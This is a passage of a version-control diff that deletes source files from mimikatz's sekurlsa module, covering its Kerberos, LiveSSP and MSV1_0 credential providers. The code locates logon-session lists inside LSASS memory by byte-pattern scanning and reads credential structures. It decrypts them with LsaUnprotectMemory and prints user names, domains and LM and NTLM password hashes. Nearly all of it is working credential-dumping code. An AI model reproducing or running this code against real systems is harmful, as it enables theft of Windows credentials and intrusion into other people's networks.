BYTE * monBuff = NULL;
|
||||
|
||||
if(KerbGlobalLogonSessionTable)
|
||||
{
|
||||
taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
|
||||
monBuff = new BYTE[taille];
|
||||
|
||||
if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
|
||||
mesCreds = &pLogSession->credentials;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
|
||||
monBuff = new BYTE[taille];
|
||||
if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
|
||||
if(offsetMagic != 0)
|
||||
pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
|
||||
mesCreds = &pLogSession->credentials;
|
||||
}
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
|
||||
delete [] monBuff;
|
||||
}
|
||||
else (*outputStream) << L"n.a. (kerberos KO)";
|
||||
|
||||
return true;
|
||||
}
|
@ -1,70 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_kerberos {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_KERBEROS_LOGON_SESSION
|
||||
{
|
||||
struct _KIWI_KERBEROS_LOGON_SESSION *Flink;
|
||||
struct _KIWI_KERBEROS_LOGON_SESSION *Blink;
|
||||
DWORD UsageCount;
|
||||
PVOID unk0;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
DWORD unk3;
|
||||
DWORD unk4;
|
||||
PVOID unk5;
|
||||
PVOID unk6;
|
||||
PVOID unk7;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
#ifdef _M_IX86
|
||||
DWORD unk8;
|
||||
#endif
|
||||
DWORD unk9;
|
||||
DWORD unk10;
|
||||
PVOID unk11;
|
||||
DWORD unk12;
|
||||
DWORD unk13;
|
||||
PVOID unk14;
|
||||
PVOID unk15;
|
||||
PVOID unk16;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION;
|
||||
|
||||
typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL
|
||||
{
|
||||
DWORD unk0;
|
||||
PVOID unk1;
|
||||
PVOID unk2;
|
||||
PVOID unk3;
|
||||
#ifdef _M_X64
|
||||
BYTE unk4[32];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk4[20];
|
||||
#endif
|
||||
LUID LocallyUniqueIdentifier;
|
||||
#ifdef _M_X64
|
||||
BYTE unk5[44];
|
||||
#elif defined _M_IX86
|
||||
BYTE unk5[36];
|
||||
#endif
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL;
|
||||
|
||||
static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList;
|
||||
static long offsetMagic;
|
||||
static PRTL_AVL_TABLE KerbGlobalLogonSessionTable;
|
||||
static bool searchKerberosFuncs();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS;
|
||||
static bool getKerberos(vector<wstring> * arguments);
|
||||
static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,69 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "livessp.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL;
|
||||
mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0};
|
||||
#endif
|
||||
LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4);
|
||||
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList)
|
||||
{
|
||||
|
||||
PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList);
|
||||
if(HMODULE monModule = LoadLibrary(L"livessp"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions);
|
||||
*pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModLIVESSP && LiveGlobalLogonSessionList);
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchLiveGlobalLogonSessionList())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)];
|
||||
if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId)))
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP);
|
||||
if(pLogSession->suppCreds)
|
||||
{
|
||||
if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
|
||||
}
|
||||
else (*outputStream) << L"n.s. (SuppCred KO) / ";
|
||||
}
|
||||
}
|
||||
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
|
||||
delete [] monBuffC, monBuffP;
|
||||
}
|
||||
else (*outputStream) << L"n.a. (livessp KO)";
|
||||
return true;
|
||||
}
|
@ -1,44 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_livessp {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL
|
||||
{
|
||||
DWORD isSupp; // 88h
|
||||
DWORD unk0;
|
||||
KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
|
||||
} KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL;
|
||||
|
||||
typedef struct _KIWI_LIVESSP_LIST_ENTRY
|
||||
{
|
||||
struct _KIWI_LIVESSP_LIST_ENTRY *Flink;
|
||||
struct _KIWI_LIVESSP_LIST_ENTRY *Blink;
|
||||
PVOID unk0; // 1
|
||||
PVOID unk1; // 0FFFFFFFFh
|
||||
PVOID unk2; // 0FFFFFFFFh
|
||||
PVOID unk3; // 0
|
||||
DWORD unk4; // 0
|
||||
DWORD unk5; // 0
|
||||
PVOID unk6; // 20007D0h
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
PVOID unk7; // 2000010Dh
|
||||
PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds;
|
||||
} KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY;
|
||||
|
||||
static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList;
|
||||
static bool searchLiveGlobalLogonSessionList();
|
||||
|
||||
public:
|
||||
static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP;
|
||||
static bool getLiveSSP(vector<wstring> * arguments);
|
||||
static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity);
|
||||
};
|
@ -1,217 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "msv1_0.h"
|
||||
|
||||
PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL;
|
||||
PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E};
|
||||
BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8};
|
||||
|
||||
LONG OFFS_WALL_LogonSessionList = -(LONG)sizeof(long);
|
||||
LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + (LONG)sizeof(long));
|
||||
LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + (LONG)sizeof(long));
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD};
|
||||
BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5};
|
||||
BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84};
|
||||
|
||||
LONG OFFS_WNO8_LogonSessionList = -(7 + (LONG)sizeof(LONG));
|
||||
LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (LONG)sizeof(LONG));
|
||||
LONG OFFS_WN51_LogonSessionList = (LONG)sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1;
|
||||
LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + (LONG)sizeof(long));
|
||||
#endif
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList)
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0;
|
||||
#ifdef _M_X64
|
||||
offsetListe = OFFS_WALL_LogonSessionList;
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern = PTRN_WIN5_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN5_LogonSessionList);
|
||||
offsetCount = OFFS_WIN5_LogonSessionListCount;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN6_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN6_LogonSessionList);
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount;
|
||||
else
|
||||
offsetCount = OFFS_WIN8_LogonSessionListCount;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1))
|
||||
{
|
||||
pattern = PTRN_WN51_LogonSessionList;
|
||||
taille = sizeof(PTRN_WN51_LogonSessionList);
|
||||
offsetListe = OFFS_WN51_LogonSessionList;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WNO8_LogonSessionList;
|
||||
taille = sizeof(PTRN_WNO8_LogonSessionList);
|
||||
offsetListe = OFFS_WNO8_LogonSessionList;
|
||||
offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_LogonSessionList;
|
||||
taille = sizeof(PTRN_WIN8_LogonSessionList);
|
||||
offsetListe = OFFS_WIN8_LogonSessionList;
|
||||
offsetCount = OFFS_WIN8_LogonSessionListCount;
|
||||
}
|
||||
#endif
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList);
|
||||
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe))
|
||||
{
|
||||
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
if(offsetCount)
|
||||
{
|
||||
pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount);
|
||||
if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount))
|
||||
*pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount));
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchLogonSessionList())
|
||||
{
|
||||
LONG offsetToLuid, offsetToCredentials;
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier);
|
||||
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials);
|
||||
}
|
||||
else
|
||||
{
|
||||
offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier);
|
||||
offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials);
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8
|
||||
{
|
||||
#ifdef _M_X64
|
||||
offsetToCredentials += 4*sizeof(PVOID);
|
||||
#elif defined _M_IX86
|
||||
offsetToCredentials += 2*sizeof(PVOID);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
ULONG nbListes = 0;
|
||||
if(LogonSessionListCount)
|
||||
mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS);
|
||||
else nbListes = 1;
|
||||
|
||||
PLIST_ENTRY pLogSession = NULL;
|
||||
for(ULONG i = 0; i < nbListes; i++)
|
||||
{
|
||||
if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId))
|
||||
{
|
||||
BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)];
|
||||
if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials);
|
||||
if(monPtr)
|
||||
{
|
||||
BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)];
|
||||
if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials);
|
||||
if(mesCreds->PrimaryCredentials)
|
||||
{
|
||||
BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)];
|
||||
if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity);
|
||||
} else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)";
|
||||
delete [] kiwiMSVPrimaryCredentials;
|
||||
|
||||
} else (*outputStream) << L"n.s. (PrimaryCredentials KO)";
|
||||
|
||||
}else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)";
|
||||
delete [] kiwiMSVCredentials;
|
||||
|
||||
} else (*outputStream) << L"n.s. (Credentials KO)";
|
||||
|
||||
} else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)";
|
||||
delete [] kiwiMSVListEntry;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!pLogSession)
|
||||
(*outputStream) << L"n.t. (LUID KO)";
|
||||
}
|
||||
else (*outputStream) << L"n.a. (msv1_0 KO)";
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity)
|
||||
{
|
||||
if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer)
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[monBlock->MaximumLength];
|
||||
if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length);
|
||||
PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer);
|
||||
|
||||
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false);
|
||||
NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false);
|
||||
|
||||
wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword));
|
||||
wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword));
|
||||
|
||||
if(justSecurity)
|
||||
(*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }";
|
||||
else
|
||||
{
|
||||
(*outputStream) << endl <<
|
||||
L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl <<
|
||||
L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl <<
|
||||
L"\t * Hash LM : " << lmHash << endl <<
|
||||
L"\t * Hash NTLM : " << ntHash;
|
||||
}
|
||||
} else (*outputStream) << L"n.e. (Lecture Block Credentials KO)";
|
||||
|
||||
delete [] monBuffer;
|
||||
} else (*outputStream) << L"n.s. (Block Credentials KO)";
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative)
|
||||
{
|
||||
if(String->Buffer)
|
||||
String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress)));
|
||||
}
|
@ -1,105 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_msv1_0 {
|
||||
|
||||
private:
|
||||
typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
|
||||
PVOID unk0; // next?
|
||||
LSA_UNICODE_STRING Primary;
|
||||
LSA_UNICODE_STRING Credentials;
|
||||
} KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_CREDENTIALS {
|
||||
PVOID unk0; // next?
|
||||
DWORD AuthenticationPackageId;
|
||||
PVOID PrimaryCredentials;
|
||||
} KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_LIST_5 {
|
||||
struct _KIWI_MSV1_0_LIST_5 *Flink;
|
||||
struct _KIWI_MSV1_0_LIST_5 *Blink;
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
LSA_UNICODE_STRING Domaine;
|
||||
PVOID unk14; // 0
|
||||
PVOID unk15; // 0
|
||||
PVOID unk16; // offset unk_181A080
|
||||
DWORD unk17; // 0Ah
|
||||
DWORD unk18; // 2
|
||||
#ifdef _M_IX86
|
||||
DWORD unk19;
|
||||
#endif
|
||||
DWORD unk20; // 5AC4186Ch
|
||||
DWORD unk21; // 1CD6BFDh
|
||||
LSA_UNICODE_STRING LogonServer;
|
||||
PKIWI_MSV1_0_CREDENTIALS Credentials;
|
||||
PVOID unk22; // 0C14h
|
||||
PVOID unk23; // 0BFCh
|
||||
} KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5;
|
||||
|
||||
typedef struct _KIWI_MSV1_0_LIST_6 {
|
||||
struct _KIWI_MSV1_0_LIST_6 *Flink;
|
||||
struct _KIWI_MSV1_0_LIST_6 *Blink;
|
||||
PVOID unk0; // unk_18457A0
|
||||
DWORD unk1; // 0FFFFFFFFh
|
||||
DWORD unk2; // 0
|
||||
PVOID unk3; // 0
|
||||
PVOID unk4; // 0
|
||||
PVOID unk5; // 0
|
||||
PVOID unk6; // 0C04h
|
||||
PVOID unk7; // 0
|
||||
PVOID unk8; // 0C08h
|
||||
PVOID unk9; // 0
|
||||
PVOID unk10; // 0
|
||||
DWORD unk11; // 0
|
||||
DWORD unk12; // 0
|
||||
PVOID unk13; // offset off_18456A0
|
||||
LUID LocallyUniqueIdentifier;
|
||||
LUID SecondaryLocallyUniqueIdentifier;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
LSA_UNICODE_STRING Domaine;
|
||||
PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!!
|
||||
PVOID unk15; // 0
|
||||
PVOID unk16; // offset unk_181A080
|
||||
DWORD unk17; // 0Ah
|
||||
DWORD unk18; // 2
|
||||
#ifdef _M_IX86
|
||||
DWORD unk19;
|
||||
#endif
|
||||
DWORD unk20; // 5AC4186Ch
|
||||
DWORD unk21; // 1CD6BFDh
|
||||
LSA_UNICODE_STRING LogonServer;
|
||||
PKIWI_MSV1_0_CREDENTIALS Credentials;
|
||||
PVOID unk22; // 0C14h
|
||||
PVOID unk23; // 0BFCh
|
||||
} KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6;
|
||||
|
||||
typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
|
||||
LSA_UNICODE_STRING LogonDomainName;
|
||||
LSA_UNICODE_STRING UserName;
|
||||
BYTE NtOwfPassword[0x10];
|
||||
BYTE LmOwfPassword[0x10];
|
||||
BOOLEAN NtPasswordPresent;
|
||||
BOOLEAN LmPasswordPresent;
|
||||
